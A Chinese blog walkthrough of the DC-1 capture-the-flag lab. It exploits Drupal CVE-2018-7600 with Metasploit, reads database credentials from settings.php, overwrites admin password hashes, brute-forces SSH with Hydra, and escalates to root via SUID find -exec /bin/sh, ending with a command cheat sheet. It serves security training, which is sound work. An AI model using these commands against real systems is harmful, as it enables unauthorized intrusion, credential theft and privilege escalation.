2024kali上打DC-1靶场

DC-1靶场

实验目标

获取5个flag,顺利通关实验环境

实验环境

DC-1靶场、kali攻击机

实验过程

环境准备

1、下载目标靶机DC-1

输入网址自动下载

192.168.91.234/DC-1.ova
2、安装过程

VM虚拟机直接打开

请添加图片描述

设置名称和位置,导入
请添加图片描述

成功安装
请添加图片描述

3、kali安装

过程自行百度(我这里早已经是安装好了的)

请添加图片描述

更改DC靶机网络模式为NAT模式,使DC靶机和kali处于同一网段

请添加图片描述

查询kali的IP

192.168.241.151

在这里插入图片描述

渗透过程

1、信息收集
扫描目标IP

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

arp-scan
arp-scan -l

请添加图片描述

查看DC靶机的MAC地址
请添加图片描述

确定DC的IP为

192.168.241.141
nmap

用nmap扫描

nmap -sP 192.168.27.0/24

在这里插入图片描述

扫出同样的IP

netdiscover
netdiscover - i eth0 - r 192.168.27.0/24

在这里插入图片描述

探测目标IP开放端口

用nmap探测

nmap -sV -p- 192.168.27.132
-sV 扫描目标主机端口上服务的版本信息
-p- -p指定端口 -p- 扫描全部端口 0-65535

在这里插入图片描述

22和80端口是此次的突破口,22端口的ssh可以尝试用root用户密码爆破

80是http协议,可以用浏览器先访问一下

网页信息收集

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

在这里插入图片描述

也可以使用kali自带的工具whatweb扫

whatweb -v 192.168.27.132

在这里插入图片描述

2、漏洞查找与利用

我们知道了是cms,所以从cms出发找漏洞,百度一下drupal

在这里插入图片描述

最终确定为CVE-2018-7600的Drupal远程代码执行漏洞

漏洞查找

用工具Metasploit找一下漏洞,先打开工具(每次弹出来的图像都不一样)

msfconsole

在这里插入图片描述

输入命令

search Drupal

在这里插入图片描述

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞

漏洞利用

利用18年的漏洞

use 1

在这里插入图片描述

查看该漏洞模块参数

show options

在这里插入图片描述

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)

set RHOSTS 192.168.27.132

在这里插入图片描述

然后再show一下模块参数

在这里插入图片描述

设置好参数后开始攻击

run 或者 exploit

在这里插入图片描述

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上

shell

3、getshell
获取普通的shell
shell

在这里插入图片描述

执行命令

ls

在这里插入图片描述

获取交互shell
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

查看flag1.txt(如果只做到flag1的话,其实也可以不获取,直接cat flag1.txt)

cat flag1.txt

在这里插入图片描述

(每个好的CMS都需要一个配置文件——你也是)

根据提示查看 Drupal 的配置文件 百度后 配置文件名称为 settings.php

cat `find / -name settings.php`

在这里插入图片描述

得到了flag2和数据库的账号密码

4、数据库渗透

有上面得到的数据库账号密码登录

mysql -udbuser -pR0ck3t

在这里插入图片描述

成功登入,查看一下有什么东西

show databases;

在这里插入图片描述

查看表

use drupaldb;

show tables;

在这里插入图片描述

查询表,增加了/G使表格变成纵向

select  from users\G;

在这里插入图片描述

得到两个用户

| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

密码很复杂,应该不是明文,那想登进后台就很难了,我们可以通过修改admin的密码

我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

打开加密脚本(这里要退出数据库Ctrl+z)

cat /var/www/scripts/password-hash.sh

在这里插入图片描述

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码:123456

php /var/www/scripts/password-hash.sh 123456

在这里插入图片描述

得到加密后的密码, 接着我们修改一下admin跟Fred的密码

use drupaldb;update users set pass =
"$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or
name = 'Fred';

在这里插入图片描述

再查看一下是否修改

select  from users\G;

在这里插入图片描述

用修改后的密码登录web页面

在这里插入图片描述

找一下flag3

在这里插入图片描述

发现有提示

在这里插入图片描述

提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd 该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

/etc/shadow 该文件存储了系统用户的密码等信息,只有root权限用户才能读取

查看一下用户信息(这里可以看到,我老mysql是退出来跑进去🤣,其实也可以直接开两个终端)

cat /etc/passwd

在这里插入图片描述

可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

5、用户密码爆破

利用工具Hydra爆破flag4的密码

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.27.132

在这里插入图片描述

爆破出密码orange,然后用kali连接

ssh flag4@192.168.27.132

@192.168.27.132
@目标主机地址

输入orange登入查看flag4

在这里插入图片描述

查看flag4

在这里插入图片描述

6、Linux提权

提示中还有 find ,可以想一下 SUID 提权

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

find指令
/根目录(查找位置)
-perm 权限
-u 用户
s 特权
-type 类型
f 文件
2>dev/null 过滤错误信息

在这里插入图片描述

find比较常用,可以执行root权限的命令找查文件

find / -name index.php -exec "/bin/sh" \;
find / - name index.php - exec "/bin/sh" \;
查找的文件不重要(是存在的文件就行),只需要格式对,然后后面加上-exec "/bin/sh" \;
-p : 让 suid 为0 , 权限为root 权限
默认情况下 bash 在执行时,如果发现 suid 和 uid 不匹配,会将 suid 强制重置为uid
使用 -p 参数,则不会再覆盖。

在这里插入图片描述

可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关了

cd /root
ls
cat *

在这里插入图片描述

最后总结

1、主机扫描

nmap
nmap -sP 网段
arp-scan
arp-scan -l
netdiscover
netdiscover - i 网卡 - r 指定IP网段

2、域名信息收集

whatweb
whatweb -v 域名
火绒扩展wappalyzer

3、CMS漏洞找查及利用

Metasploit

先打开MSF控制台

msfconsole

搜索CMS漏洞

search cms名

使用模块

use 漏洞模块名

显示模块参数(一般只需要设置攻击目标IP地址)

show options

设置模块参数

set 模块参数名 参数值

开始攻击

run(或exploit)

4、Getshell

使用MSF攻击等待主机与目标连接完成后

通常情况下直接进入shell

shell

获取交互shell(需对方主机安装有python)

python -c 'import pty;pty.spawn("/bin/bash")'

5、密码爆破与SSH

爆破工具Hydra
hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机

以爆破SSH为例

ssh 用户名@目标攻击主机

爆破完后我们可以用kali登入

6、Linux特性及相关命令

查看权限(root为最高权限,其他为普通用户)

whoami

文件特性passwd与shadow

/etc/passwd
存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问
/etc/shadow
存储有用户的密码等信息,需要root用户才能访问
Linux系统的SUID提权

先找到含有SUID权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null
这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤

再选择相关命令进行提权,以find为例(用得最多)

先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权

find / -name x.ab -exec "/bin/sh" \;
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值